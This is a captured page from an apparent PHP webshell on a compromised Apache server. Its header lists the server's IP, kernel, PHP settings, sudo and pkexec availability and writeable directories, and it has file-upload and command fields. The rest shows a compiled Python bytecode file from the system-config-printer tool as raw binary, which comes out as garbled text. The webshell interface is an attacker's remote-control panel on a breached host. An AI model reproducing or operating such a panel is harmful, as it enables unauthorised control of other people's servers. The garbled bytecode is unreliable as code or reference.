403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/__pycache__/printerproperties.cpython-310.pyc
o

3�bu8�@s�ddlZddlZddlZddlmZddlZddlZddlZejej	ej
d�ddlZddlZddlm
Z
ddlmZddlmZddlZddlmZddlTddlZddlTddlZddlZddlZddlZddlZdd	lmZmZddlZejZ d
d�Z!dd
�Z"Gdd�de�Z#e$dkr�ddl%Z%e&e%j'�dkr�e(d�e%�)d�e*d�dej+d<e�,ej-d�e�.�e
�/�Z0dd�Z1e#�Z2e2�3de1�e2�4e%j'd�e0�5�dSdS)�N)�Gtk)�domain�	localedir)�GObject)�GLib)�GtkGUI)�OptionWidget)�*)�busy�readycCst��}|ddkrdS|S)Nr�/�	localhost)�cups�	getServer)�host�r�5/usr/share/system-config-printer/printerproperties.py�CUPS_server_hostname5srcCs|��dS)NT)�hide)�widget�eventrrr�on_delete_just_hide;src	@sReZdZejjddfejjddfd�Zeje	d�ej
e	d�eje	d�eje	d�iZ
dd	�Zd
d�Zdd
�Zd�dd�Zdd�Zdd�Zdd�Zd�dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Z d.d/�Z!d0d1�Z"d�d3d4�Z#	2	2d�d6d7�Z$d8d9�Z%d:d;�Z&d<d=�Z'd>d?�Z(d@dA�Z)d�dCdD�Z*dEdF�Z+dGdH�Z,dIdJ�Z-dKdL�Z.dMdN�Z/dOdP�Z0dQdR�Z1dSdT�Z2d�dUdV�Z3d�dWdX�Z4dYdZ�Z5d[d\�Z6d]d^�Z7d_d`�Z8dadb�Z9dcdd�Z:dedf�Z;dgdh�Z<didj�Z=dkdl�Z>dmdn�Z?d�dodp�Z@dqdr�ZAdsdt�ZBdudv�ZCdwdx�ZDdydz�ZEd{d|�ZFd}d~�ZGdd��ZHd�d��ZId�d��ZJdS)��PrinterPropertiesDialogNr)�destroy�
dialog-closed�Idle�
Processing�Busy�Stoppedc#Cs�tj�|�zt�tj�|_t�tj�|_Wn!t�dt	j
d<t�tjd�t�tj�|_t�tj�|_Yd|_
d|_|_t�|_t�|_t�|_d|_|jdgd�itjd�|j|_|j�d|j�|j|j|j|j fD]}t!�"�}|�#�|�$|d	�|�%|d
d�qr|j&}|�d|j'�t!�(t)d
��}t!�*�}|�$|d�t!�"�}|�$|d�|�+||j,d�|�+||j-d�|�.d	�|j/�0|�|j/�1�}|�2t!j3j4�t!�5t6t7�}|j/�8|�|j�dt9�d|_:t)d�|j;ft)d�|j<ft)d�|j=ffD])\}	}
t!�5t7�}t!�"�}t!j(|	|dd�}|
�8|�|
�0|�|
�1��2t!j3j>��q|j�d|j?�t!j(dt!�"�dd�}|j@�0|�|j@�1�}
|
�d|jA�|
�2t!j3jB�|jCt)d�gt)d�gt)d�gt)d�ggf|jDdgdgdgdgdgdggf|jEt)d �gt)d!�gt)d"�gt)d#�gt)d$�gt)d%�gt)d&�gt)d'�ggf|jFt)d(�gt)d)�gt)d*�gt)d+�gt)d,�gt)d-�gt)d.�gt)d/�gt)d0�gt)d1�gt)d2�gt)d3�gt)d4�gt)d5�gt)d6�gt)d7�gt)d8�gt)d9�gt)d:�gt)d;�gt)d<�gt)d=�gt)d>�gt)d?�gt)d@�gt)dA�gt)dB�gt)dC�ggf|jGgf|jHt)dD�gt)dE�gt)dF�ggf|jIgf|jJt)dG�gt)dH�ggf|jKt)dI�gt)dG�gt)dJ�ggf|jLgff
D],\}}t!�5t7�}|D]	}|jM|dK��qVt!�"�}|�$|d	�|�%|d
d�|�8|��qKtN�OdLt6dM|jP|jQ�tNjRdNt6d|jC|jSgdO�t)dP�dQ�tN�OdRtTd|jU|jV�tNjOdSt6dM|jD|jWgdT�d	dU�tNjOdVt7dW|jE|jXgdX�dY�tN�OdZt6d[|jY|jZ�tNjOd\t6d|jF|j[gd]�d	dU�tN�Od^t6d_|j\|j]�tNjOd`t7da|jG|j^d	db�tNjOdct7dd|jH|j_gde�d	dU�tNjOdft7dg|jI|j`d	db�tNjOdht7di|jJ|jadidjgdY�tNjOdkt6d|jK|jbgdl�d	dU�tNjOdmtNjctN�cdn�|jd|jed	db�tNjOdot7dp|jL|jfd	db�tN�OdqtTd|jg|jh�tN�Odrt6d[|ji|jj�tN�Odst6d[|jk|jl�tN�Odtt6d|jm|jn�tN�Odut6dv|jo|jp�tN�Odwtqdx|jr|js�tN�Odytqdz|jt|ju�tN�Od{t6d|jv|jw�tN�Od|t6d|jx|jy�tN�Od}t6d|jz|j{�tN�Od~t6d|j||j}�tN�OdtTd|j~|j�tN�Od�tTd|j�|j��tN�Od�t6dM|j�|j��g}i|_�i|_�|D]}||j�|j�<||j�|j�<�q�d|_�d|_�|���t�d�|�dS)�N�C�LC_ALL�Fr)pr�tvPrinterProperties�btnPrinterPropertiesCancel�btnPrinterPropertiesOK�btnPrinterPropertiesApply�btnPrinterPropertiesClose�ntbkPrinter�entPDescription�entPLocation�
entPMakeModel�lblPMakeModel2�	entPState�
entPDevice�lblPDevice2�btnSelectDevice�btnChangePPD�chkPEnabled�
chkPAccepting�
chkPShared�lblNotPublished�btnPrintTestPage�btnSelfTest�
btnCleanHeads�btnConflict�cmbPStartBanner�
cmbPEndBanner�cmbPErrorPolicy�cmbPOperationPolicy�
rbtnPAllow�	rbtnPDeny�tvPUsers�entPUser�btnPAddUser�btnPDelUser�lblPInstallOptions�swPInstallOptions�vbPInstallOptions�
swPOptions�lblPOptions�
vbPOptions�vbClassMembers�lblClassMembers�tvClassMembers�tvClassNotMembers�btnClassAddMember�btnClassDelMember�btnRefreshMarkerLevels�tvPrinterStateReasons�ntbkPrinterStateReasons�
sbJOCopies�btnJOResetCopies�cmbJOOrientationRequested�btnJOResetOrientationRequested�cbJOFitplot�btnJOResetFitplot�
cmbJONumberUp�btnJOResetNumberUp�cmbJONumberUpLayout�btnJOResetNumberUpLayout�sbJOBrightness�btnJOResetBrightness�cmbJOFinishings�btnJOResetFinishings�sbJOJobPriority�btnJOResetJobPriority�
cmbJOMedia�btnJOResetMedia�
cmbJOSides�btnJOResetSides�cmbJOHoldUntil�btnJOResetHoldUntil�cmbJOOutputOrder�btnJOResetOutputOrder�cmbJOPrintQuality�btnJOResetPrintQuality�cmbJOPrinterResolution�btnJOResetPrinterResolution�cmbJOOutputBin�btnJOResetOutputBin�
cbJOMirror�btnJOResetMirror�sbJOScaling�btnJOResetScaling�sbJOSaturation�btnJOResetSaturation�sbJOHue�
btnJOResetHue�	sbJOGamma�btnJOResetGamma�sbJOCpi�
btnJOResetCpi�sbJOLpi�
btnJOResetLpi�sbJOPageLeft�btnJOResetPageLeft�
sbJOPageRight�btnJOResetPageRight�sbJOPageTop�btnJOResetPageTop�sbJOPageBottom�btnJOResetPageBottom�cbJOPrettyPrint�btnJOResetPrettyPrint�cbJOWrap�btnJOResetWrap�sbJOColumns�btnJOResetColumns�
tblJOOther�entNewJobOption�btnNewJobOption�vboxMarkerLevelsrO)rzdelete-eventT�textr�clicked�Message�zMembers of this class�Others�Users)r��response)�markup�changedzPortrait (no rotation)zLandscape (90 degrees)zReverse landscape (270 degrees)zReverse portrait (180 degrees)�1�2�4�6�9�16zLeft to right, top to bottomzLeft to right, bottom to topzRight to left, top to bottomzRight to left, bottom to topzTop to bottom, left to rightzTop to bottom, right to leftzBottom to top, left to rightzBottom to top, right to left�None�Staple�Punch�Cover�Bindz
Saddle stitchzEdge stitch�Fold�Trim�Balez
Booklet makerz
Job offsetzStaple (top left)zStaple (bottom left)zStaple (top right)zStaple (bottom right)zEdge stitch (left)zEdge stitch (top)zEdge stitch (right)zEdge stitch (bottom)zStaple dual (left)zStaple dual (top)zStaple dual (right)zStaple dual (bottom)zBind (left)z
Bind (top)zBind (right)z
Bind (bottom)z	One-sidedzTwo-sided (long edge)zTwo-sided (short edge)�Normal�Reverse�Draft�High)�row�copies�zorientation-requested)r����zAutomatic rotation)�combobox_map�special_choice�fitplotz	number-up)r��r�r��	�)r��
use_supportedznumber-up-layout�lrtb)r��lrbt�rltb�rlbt�tblr�tbrl�btlr�btrl)r��
brightness�d�
finishings)r�r�r�r���r��
���
��������������2�3�4�5zjob-priorityr��media�A4)r��sides�	one-sided)r�ztwo-sided-long-edgeztwo-sided-short-edgezjob-hold-untilzno-hold�outputorder�normal�reversez
print-quality)r�r�r�zprinter-resolution)�,r�r�z
output-binzface-up�mirror�scaling�
saturation�hue�gammai��cpig$@�lpig@z	page-leftz
page-rightzpage-topzpage-bottom�prettyprint�wrap�columnsz+%s)�r�__init__�locale�	getlocale�LC_MESSAGES�language�LC_CTYPE�encoding�nonfatalException�os�environ�	setlocaler �parent�printer�ppd�set�	conflictsr��dict�
signal_ids�updating_widgets�
getWidgets�config�PACKAGEr�dialog�connect�	on_deleter9r:r;r<r�CellRendererText�clear�
pack_start�
add_attributerO�!on_btnRefreshMarkerLevels_clicked�TreeViewColumn�_�CellRendererPixbuf�set_cell_data_func�set_printer_state_reason_icon�set_printer_state_reason_text�
set_resizablerP�
append_column�
get_selection�set_mode�
SelectionMode�NONE�	ListStore�int�str�	set_modelr�static_tabsrKrLr?�MULTIPLE�printer_properties_responser"�(on_tvPrinterProperties_selection_changed�SINGLErTrXrZr^rbrdrfrhrjrn�append�options�OptionAlwaysShownrRrS�OptionAlwaysShownSpecialrU�boolrVrWrYr[r\r]r_r`rarcrergrirk�
IPPResolutionrlrmrorprqrrrsrtrurvrwrxry�floatrzr{r|r}r~rr�r�r�r�r�r�r�r�r�r�r�r��job_options_widgets�job_options_buttonsr�button�_monitor�	_ppdcache�connect_signals�
debugprint)�self�combobox�cell�btn�column�iconr��	selection�store�name�treeview�model�col�selr�optsr��optionrrrr�OsV
�\�_�

��



�����
�� ��������
G
��
�
�
�
�
�
��

�	���
���
�
�
�
�
�
�
�
�
�
�
�
��
���z PrinterPropertiesDialog.__init__cCstd|�|`dS)Nz-%s)r,r)�r-rrr�__del__�szPrinterPropertiesDialog.__del__cCs2|j�|g�}|�||�||�f�||j|<dS�N)r��getrr)r-�
collection�objr5�handler�crrr�_connectsz PrinterPropertiesDialog._connectcCsX|r|g}nt|j���}|D]}||jvr)|j|D]	\}}|�|�q|j|=qdSr>)�listr��keys�
disconnect)r-r@�collrA�	signal_idrrr�_disconnects
��z#PrinterPropertiesDialog._disconnectcCs|jr
|j��d|_dSdSr>)rrr<rrr�
do_destroys

�z"PrinterPropertiesDialog.do_destroycCs4td|�|��d|_d|_d|_|�d�dS)NzDESTROY: %sr)r,rJr��	ppd_localr��emitr<rrrrszPrinterPropertiesDialog.destroycCsb||_|sdS|j�d|j�|j�d|j�|j�d|j�|j�d|j�|j�d|j�dS)Nz
printer-eventzprinter-removedzstate-reason-addedzstate-reason-removedzcups-connection-error)r)r�on_printer_event�on_printer_removed�on_state_reason_added�on_state_reason_removed�on_cups_connection_error)r-�monitorrrr�set_monitors��z#PrinterPropertiesDialog.set_monitorcCsx||_||_||_|st��|_|st��|_|jdur%|�tj	dd��|j�
�|_|�d�t
��|_|�d|jd|j�|�d|jd|j�|rQ|j�|�|j||||d�|js_dS|j|j|jfD]}|jjrr|��qg|��qg|jjr�|j��n|j��|��|j� t!d��|j"� t!d��|j#}|�$t%�&�dd�t'�}|j�(t!d	�||f�|j��dS)
NF)�monitor_jobs�
newPrinterGUIzprinter-modifiedzdialog-canceled)r�
encryptionr�zCUPS test pagezyTypically shows whether all jets on a print head are functioning and that the print feed mechanisms are working properly.zPrinter Properties - '%s' on %s))r��_host�_encryptionrr�
getEncryptionr)rTrS�Monitor�get_ppdcacher*rJ�
newprinter�
NewPrinterGUIrVrD�on_printer_modified�on_printer_not_modifiedr�set_transient_for�loadr�r#r$r%�
discoveredr�showr&�setDataButtonStater5�set_tooltip_textrr6r"�
set_cursorr�TreePathr�	set_title)r-r5rrWr�r(r6rrrrd,sV





�
��


�zPrinterPropertiesDialog.showcCsX|jstjj}|tjjkr=td�}|d7}|jD]
}||jjd7}qtj	|j
ddtjjtj
j|d�}|��|��dS|tjjksI|tjjkr_|tjjkrYt|j�dkrYd}n|�|j�}|tjjkry|syz	|�|jj�WnY|��|tjjkr�|r�|tjjkr�d|_d|_d|_|��|�d�|jj�d	�r�|j� d�dSdSdS)
Nz^There are conflicting options.
Changes can only be applied after
these conflicts are resolved.z

�
T)r��modal�destroy_with_parent�message_type�buttonsr�rFr�visible)!r�r�ResponseType�CANCEL�REJECTrr�r;r��
MessageDialogr�MessageType�WARNING�ButtonsType�CLOSE�runr�OK�APPLY�lenr��save_printerrbr5rer�rLrrMrV�NewPrinterWindow�get_property�on_NPCancel)r-rr��messager;�failedrrrr_sL
�
��z3PrinterPropertiesDialog.printer_properties_responsecCs|�|tjj�dSr>)rrrprq)r-rrrrrr�sz!PrinterPropertiesDialog.on_deletecCst|tj�r|��}n/t|tj�r|��}n$t|tj�r!|��}nt|tj�r6|��}|�	�}|�
|d�}ntd��|j}|j
|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j |j!|j"i}||}||kr{|j#�$|�n|j#�%|�|�&�dS)Nr�zWidget type not supported (yet))'�
isinstancer�CheckButton�
get_active�Entry�get_text�RadioButton�ComboBox�	get_model�get_active_iter�	get_value�
ValueErrorr�r(�infor)�locationr-�
device_urir1�enabledr2�	rejectingr3�	is_sharedr9�job_sheet_startr:�
job_sheet_endr;�error_policyr<�	op_policyr=�
default_allowr��discard�addre)r-r�valuer7�iter�p�
old_values�	old_valuerrr�on_printer_changed�s:



�z*PrinterPropertiesDialog.on_printer_changedcCs�|��r|j�|�n|j�|�|jr|j�|�n|j�|�|��|jrD|jrF||jkrH|��dkr=|j�	�dS|j�
�dSdSdSdS)N�True)�
is_changedr�r�r�r�re�option_manualfeed�option_inputslot�get_current_value�disable�enable�r-r;rrr�option_changed�s
�z&PrinterPropertiesDialog.option_changedcs.|j��}g�|��fdd�d�����S)z%return list of usernames from the GUIcs��|�|d�d�S�Nr)rr?)r7�pathr��data��resultrr�<lambda>�sz3PrinterPropertiesDialog.getPUsers.<locals>.<lambda>N)r?r��foreach�sort)r-r7rr�r�	getPUsers�s
�z!PrinterPropertiesDialog.getPUserscCsD|j��}|��|D]}|�|f�q|�|j�|�|j�dS)z$write list of usernames into the GUIN)r?r�rr�on_entPUser_changedr@�on_tvPUsers_cursor_changed)r-�usersr7�userrrr�	setPUsers�s
z!PrinterPropertiesDialog.setPUserscCsP|jsdS|��|jjkr|j�|j�n|j�|j�|�|j�|��dS)zLcheck if users in GUI and printer are different
        and set self.changedN)	r�r��except_usersr�r�r?r�r�rer<rrr�checkPUsersChanged�sz*PrinterPropertiesDialog.checkPUsersChangedcCs:|j��}|r|j���d|f�|j�d�|��dS)Nrr!)r@r�r?r��insert�set_textr�)r-r(r�rrr�on_btnPAddUser_clicked�s

z.PrinterPropertiesDialog.on_btnPAddUser_clickedcsV|j����\�}�fdd�|D�}|D]}|��}��|�}��|�q|��dS)Ncsg|]	}tj��|��qSr)r�TreeRowReference�new)�.0r��r7rr�
<listcomp>�szBPrinterPropertiesDialog.on_btnPDelUser_clicked.<locals>.<listcomp>)r?r�get_selected_rows�get_path�get_iter�remover�)r-r(�rowsr�r�r�rr�r�on_btnPDelUser_clicked�s
z.PrinterPropertiesDialog.on_btnPDelUser_clickedcCs|j�t|����dSr>)rA�
set_sensitiver#r��r-rrrrr���z+PrinterPropertiesDialog.on_entPUser_changedcCs4|��}|dur
dS|��\}}|j�t|��dSr>)rr�rBr�r#)r-rr3r7r�rrrr�s
z2PrinterPropertiesDialog.on_tvPUsers_cursor_changedcCsV|j|}|��|j|jvr|j|j=|��r|j�|�n|j�|�|��dSr>)	r'�resetr5�server_side_optionsr�r�r�r�re�r-r(r;rrr�on_job_option_reset	s

z+PrinterPropertiesDialog.on_job_option_resetcCsl|jsdS|j|}|��|��r||j|j<|j�|�n|j|jvr*|j|j=|j�|�|��dSr>)	r�r&r�r�r�r5r�r�re)r-rr;rrr�on_job_option_changeds

z-PrinterPropertiesDialog.on_job_option_changedTcCs�t|j�}|dkr|j��dS|j��}|D]}|j�|�qd}|jD]L}|j�|jd|dd�|j�dd�|j�|j	d|dd�|j	�
|�tj�
tjtjj�}|�d|j�||_|�
|�|j�|d|dd�|d7}q%|j��dS)Nrr����?r�r�)r{�other_job_optionsr�r�get_childrenr��attach�label�
set_alignment�selectorr�r�Button�new_from_icon_name�STOCK_REMOVE�IconSize�BUTTONr�on_btnJOOtherRemove_clicked�pyobject�show_all)r-�editable�n�children�child�i�optr0rrr�draw_other_job_options&s,




�

z.PrinterPropertiesDialog.draw_other_job_optionsr!cCs�zt�||||j�}Wn
tyt�YdSw||_|j�|�|j|d�||j	|<||j
vr5d|_|j
�|�|��|rH|j
��dSdS)N�r�F)r rr�r�r��is_newr�rr�r�r�r�rer��
grab_focus)r-r5r��	supportedr�r�r;rrr�add_job_option@s&
��

�z&PrinterPropertiesDialog.add_job_optioncCsR|j}|j�|�|��|jr|j�|�n|j�|j�|j	|j=|�
�dSr>)r�r�r�r�r�r�r�r�r5r�rer�rrrr�Us
z3PrinterPropertiesDialog.on_btnJOOtherRemove_clickedcCsB|j��}|�|�|j��|j�d�|j�d�|��dS)Nr!F)	r�r�r�r�r�r�r�r�re)r-r(r5rrr�on_btnNewJobOption_clickedas


z2PrinterPropertiesDialog.on_btnNewJobOption_clickedcCs0|j��}t|�dko||jv}|j�|�dSr�)r�r�r{r�r�r�)r-rr��activerrr�on_entNewJobOption_changedis
z2PrinterPropertiesDialog.on_entNewJobOption_changedcCs|�|�dSr>)r�r�rrr�on_entNewJobOption_activaten�z3PrinterPropertiesDialog.on_entNewJobOption_activatec	Cs8z�|jj}|�dg�}t|j�o|jjo|jj}z	|�d�|}Wnty.d}Ynw|j	�
|�|jjp=t|j�}|j|j
fD]}|�
|�qEd}d}|r�|jjtj@dkr�z'|�d�|�dg�}	|	D]}
|
dkrwd}|rvnqj|
d	kr�d}|r�nqjWn	ty�Ynw||jf||jffD]\}}|r�|��q�|��q�Wnt�Y|js�|jjs�|jj�d
�s�|jj�d�r�|jj�d�r�|jjs�|j	��n|j	��d}d}
|j�rtd
�|j��|jD]}|j��|j ��kr�d}q�d}
q�n|j��t!d�}t!d�}|�rd|}|
�rd|}|j �"|�|j#�"|�|j$�%�}|�r�t&|j'�(��D]I}|j'�)|�}|j'�*|���}z.||j ��k�r_|�+|f�}|�,|d|�n||j#��k�rt|�+|f�}|�,|d|�W�q8t�y�Y�q8w|j-�
t.|j�dk�o�|j�|j/�
|j�dS)Nzdocument-format-supportedzapplication/postscriptFr�application/vnd.cups-commandzprinter-commands�PrintSelfTestPageT�Cleanzdnssd:zmdns:z/cupszConflicts detectedzInstallable OptionszPrinter Options�	<b>%s</b>)0r��other_attributesr?r#r�r�r��indexr�r5r�rcr0r/�typer�CUPS_PRINTER_COMMANDSr6r7rdrr�r��remoter��
startswith�endswithr�r,r8�	tab_labelr�rCr�
set_markuprGr"r��ranger'�get_n_pages�get_nth_page�
get_tab_labelr��	set_valuer%r{r$)r-�attrs�formats�	printable�testpage�
adjustabler(�selftest�
cleanheads�commands�command�cond�installablebold�optionsboldr;�installabletext�optionstextr4r��pager�r�rrrrers���
��
����

������


�

���z*PrinterPropertiesDialog.setDataButtonStateFc
Cs�|dur|j}d}|j}|jr|j�td�|�n
|j�td�|��z�|js@|jr@|��|j��s7|r@|jj	||jd�|jr�t
�|j�}|s�t
jdt
jjt
jjtd�d�}|�td��|�t
jt
jjt
jt
jj�|��}|��|t
jjkr�|j��Wd	Sd	}|jdd�}	|D]}
|
|	vr�|	�|
�q�|j�|
|�q�|	D]	}
|j� |
|�q�|j!�"�}|j#�"�}|j$�"�}
|j%�&�}|j'�&�}|j(�&�}||j)ks�|r�|j�*||�||j+ks�|r�|j�,||�|js�|
|j-ks�|r�|j�.||
�||j/k�s|�r	|�0|�||j1k�s|�r|�2|�||j3k�s |�r%|�4|�d
d�}||j5�}||j6�}||j7�}||j8�}||j9k�sL||j:k�sL|�rR|�;||�||j<k�s[|�r`|�=|�||j>k�si|�rn|�?|�|j@�&�}|�A�}||jBk�s�||jCk�s�|�r�|�D||�|jED]}||jFv�r�|�G|��q�|jF�H�D](}|�I��s�|�r�|�J�|�K�k�r�tLd|j|�J�f�|�M|j|�J���q�Wn%tjN�y�}z|jO\}}tP|||�|j��WYd}~d	Sd}~ww|j��tQ�|_R|jjS�s$d
|jTv�r$|j�td��z|j�U�|_VWntW�Y|j��|�s=z
|�X�|�Y�WntjN�y<Ynw|jZ�[�dS)NFzmodifying class %szmodifying printer %s)r�rzThis will delete this class!)�flagsrmrnr�zProceed anyway?TcSs|��}|��}|�|d�S�Nr�)r�r�r�)�cmbr7r�rrr�get_combo_value!sz=PrinterPropertiesDialog.save_printer.<locals>.get_combo_valuezSet %s = %s�server_settingszfetching server settings)\rr5�is_classr�_begin_operationrr��getPrinterSettings�nondefaultsMarked�
addPrinterr]�getCurrentClassMembersrKrrsrtrurvr�format_secondary_text�add_buttons�STOCK_CANCELrp�NO�STOCK_DELETE�YESrxr�_end_operation�
class_membersr��addPrinterToClass�deletePrinterFromClassr)r�r(r-r1r�r2r3r��setPrinterInfor��setPrinterLocationr��setPrinterDevicer��
setEnabledr��setAcceptingr��	setSharedr9r:r;r<r�r��setJobSheetsr��setErrorPolicyr��setOperationPolicyr=r�r�r��	setAccess�
attributesr��unsetOption�valuesr�r��get_defaultr,�	setOption�IPPError�args�show_IPP_Errorr�r��_use_pk�__dict__�adminGetServerSettingsrr��
getAttributes�updatePrinterPropertiesr)�update)r-r��saveallr��
class_deletedr5�new_membersrr��old_members�memberr�r�r�r��	accepting�sharedrr�r�r�r�r�r�r;�e�srrrr|�s��
�


















�
����

��

�
z$PrinterPropertiesDialog.save_printercCs|j��D]}|��qdSr>)r r2�	writebackr�rrrres
�z*PrinterPropertiesDialog.getPrinterSettingscCsV|��\}}|r
||_dSz|j}Wn
tyYdSw|�|�r)|�|�dSdSr>)�get_selected�%printer_properties_last_iter_selected�AttributeError�
iter_is_valid�select_iter)r-r3r7r�rrrrks

�
�z@PrinterPropertiesDialog.on_tvPrinterProperties_selection_changedcCsF|��\}}|dur!|��}|�|�}|�|d�}|j�|�dSdSr)�
get_cursorr�r�r�r'�set_current_page)r-r6r�r1r7r�r�rrr�%on_tvPrinterProperties_cursor_changedzs
�z=PrinterPropertiesDialog.on_tvPrinterProperties_cursor_changedcCs|j��dSr>)r5r�r<rrr�
printTestPage�r�z%PrinterPropertiesDialog.printTestPagec

Cs�|j}|sdSd}|jdkr"|j�d�}|r"tj�td|j���}t	�
�}t	�d�ztj
|jd|j|jd�}WntyS}ztd||j�WYd}~dSd}~wwd}|�td��z#|rutj�|�rutd|�|j|j|d�}n
td	�|�|j�}Wn<t	jy�}z/|j\}}	|t	jkr�|jd
kr�|jddkr�ttd
�td�|j�nt||	|j�WYd}~nd}~ww|��t	�|�|dur�ttd�td�||jd�dSdS)NF�PageSizeztestpage-%s.psr!)�try_as_rootrrWzprinting test pagezPrinting custom test page )�filezPrinting default test pager
rr�Not possible�^The remote server did not accept the print job, most likely because the printer is not shared.�	SubmittedzTest page submitted as job %d�r�)r�r��
findOptionr�r��join�pkgdata�	defchoice�lowerr�getUser�setUser�authconn�
Connectionr�rXrY�RuntimeErrorr7rr�existsr,rPr5r5r6�IPP_NOT_AUTHORIZED�show_error_dialogr"�show_info_dialog)
r-r(r��custom_testpager�r�rCrE�job_id�msgrrr�on_btnPrintTestPage_clicked�sn
��


�����


���


��z3PrinterPropertiesDialog.on_btnPrintTestPage_clickedcCs|j}|sdStjdd��x}|�d|�|��|j�td��z d}|jj|j	||j	t�
�d�}ttd�td�||jd	�Wn6tj
yw}z)|j\}}|tjkrf|jj	d
krfttd�td�|j�nt|||j�WYd}~nd}~ww|j��Wd�dS1s�wYdS)
N�wt)�modez#CUPS-COMMAND
%s
zsending maintenance commandr�)�formatrSr�rVz'Maintenance command submitted as job %drWr
rTrU)r��tempfile�NamedTemporaryFile�write�flushrrrrPr5r]rer�r5r6rcrdr7r")r-r
r��tmpfilerlrgrErhrrr�maintenance_command�sB
��
�

���"�z+PrinterPropertiesDialog.maintenance_commandcC�|�d�dS)Nr��rr�r-r(rrr�on_btnSelfTest_clicked�r�z.PrinterPropertiesDialog.on_btnSelfTest_clickedcCrs)Nz	Clean allrtrurrr�on_btnCleanHeads_clicked�r�z0PrinterPropertiesDialog.on_btnCleanHeads_clickedc	Cs||durt��}t�tt�}|�|�d}t|�D]\}}|�|�|�|g�||kr2|�	|�d}q|s<|�	d�dSdS)NFTr)
�	ppdippstr�TranslationDictrrrr�	enumeraterr?�
set_active)	r-r.r2r��translationdictr7r{�nr�valrrr�fillComboBox�s �

��z$PrinterPropertiesDialog.fillComboBoxcCsht�|_i|_t�|_|st��}|st��}tj|j	||d�}||_t
�||j�}||_z
|j
d}||_Wn	ty@Ynw|jj}z|��|_|��|_|jdkr[|j��Wngtjy�}	z0|	j\}	}
|	tjkrvt|	|
|j�|	tjtjfvr�ttd�td�tjj|j�d|_WYd}	~	n/d}	~	wt y�}	zt!|	��"d�r�t#td�td�|j��t#td�td	�|j��d}	~	ww|j$|j%|j&fD]}|�'|�q�|j(|j)|j*|j+|j,|j-|j.|j/|j0|j1|j2|j3|j4|j5|j6fD]}|�7|�q�|j$�8|j9�|j%�8|j:�|j;}|j&�8|�|j�<|j&�|j=|j>|j)|j?|j&|j(fD]}|j@�r4|�A��q(|�B��q(z|jC�rO|j�rI|jD�A�n|jD�E�n|jD�A�WntF�|jD�A�Y|j-�7|�|j.�7|�|j/�7|�|j0�7|�|j4�8d
�i|_G|jH�I�D]}
|
jJdk�r�|j�r�|j�Kd�}|�r�|
�L|jM�|}z	|jjN|
jJ}Wnt�y�|
�Od�Yn:wz&|
jJ|jjPv�r�|jjP|
jJd
}|
jO||d�n|
�O|�|
|jG|
jJ<WntF�d}tQd|
jJ|f�Y|
jR�7|�|�s|
jS�7d��q�g|_T|jU|d�|jjN�V�D]N}
|
|jGv�r!�q|
dk�s+|
dk�r-�q|jjN|
}|
|jjPv�rC|jjP|
d
}ntW|tX��rTddg}t!|��Y�}nd
}t!|�}|jZ|
||d|d��q|j[�8d
�|j[�7|�|j\�7d�|j@�r�|j]�^|j_�}|dk�r�|j]�`|�|�a|�n|�b||�|�c�|�d�|�e�t�|_|�f�|�g�dS)N)r�rrWzserver-is-sharing-printersFz	Raw Queuez3Unable to get queue details. Treating queue as raw.r��Errorz'The PPD file for this queue is damaged.z2There was a problem connecting to the CUPS server.r!r�rQr�)r�z0Option '%s' has value '%s' and cannot be edited.r�zoutput-modez	media-col�true�false)r�r�r�r����)hr�r�r r�rrrZr_r`r�cupshelpers�Printerr�r��server_is_publishing�KeyErrorrc�getPPDr�rL�localizer5r6�IPP_INTERNAL_ERRORr7r��IPP_SERVICE_UNAVAILABLE�show_dialogrrrt�ERRORrarr�rdr(r)r-�set_editabler/r0r1r2r3r9r:r;r<r=r>r?r@rArBr�r�r�r�r�r�r+r*r.rrrdr�r4r�r�r�r&r2r5rX�set_defaultr[r0�reinit�possible_attributesr,rr(r�r�rFr�r#r\r�r�r�r'�page_numrD�remove_page�fillClassMembers�fillPrinterOptions�updateMarkerLevels�updateStateReasons�updatePrinterPropertiesTreeViewr<re)r-r5rrWr�rCr��
publishingr�rE�mr�urir;r��option_editabler�r��tab_nrrrrrb�s<�

�




�

����	�������
����
�
�
zPrinterPropertiesDialog.loadcCs�t�tt�}|j�d�t|j���D]#}|j�|�}|j�	|�}|�
d�}|�|d|���|�|d|�q|j
��}|j
�|�dS)NFrr�)rrrrr'�
set_show_tabsr�r�r�rrrr�r"rr)r-r4r�rr�r�r9rrrr��s

z7PrinterPropertiesDialog.updatePrinterPropertiesTreeViewcsT|j}|sdS|j��D]}|j�|�qt�}d}dtfdtfdtfdtffD]Y\}�|j�|g�}�tkrht	|�dkrhz�|d�Wn"t
yg}ztd|�|f�dd�|D�}WYd}~nd}~ww�fd	d�|D�||<|dks}t	|�|kr�t	|�}q(d
D]}t	||�|kr�td|||d�|f�|||d�=q�tt
dd
�|d|d|d|d��}t|�|jtj@dk}	|	r�|j��n|j��t	|�dkr�tjtd�d�}
|
�d�|
�dd�|j�|
ddd�n�d}t	|�}d|dd}|dk�r	d}t��}
|
�d�|
�d�|
�d�|
�d�|j�|
ddd�|D]v\}}}}|du�r:d}n|jdk�rM|j� |�}|du�rM|}|d}|d}tj!dd�}t�!�}t"�#||�}|�$d|�|�|ddd�|�|ddd�tj|d�}
|
�%d�|
�d�|�|
ddd�|
�&|||dd�|d7}�q,|j�'�dS)Nr�
marker-colors�marker-names�marker-types�
marker-levelsz %s value not coercible to %s: %scSsg|]}d�qS)r�r�r��xrrrr��sz>PrinterPropertiesDialog.updateMarkerLevels.<locals>.<listcomp>cs$g|]}�tkr|dkrdn|�qS)rr�)rr���typrrr��s
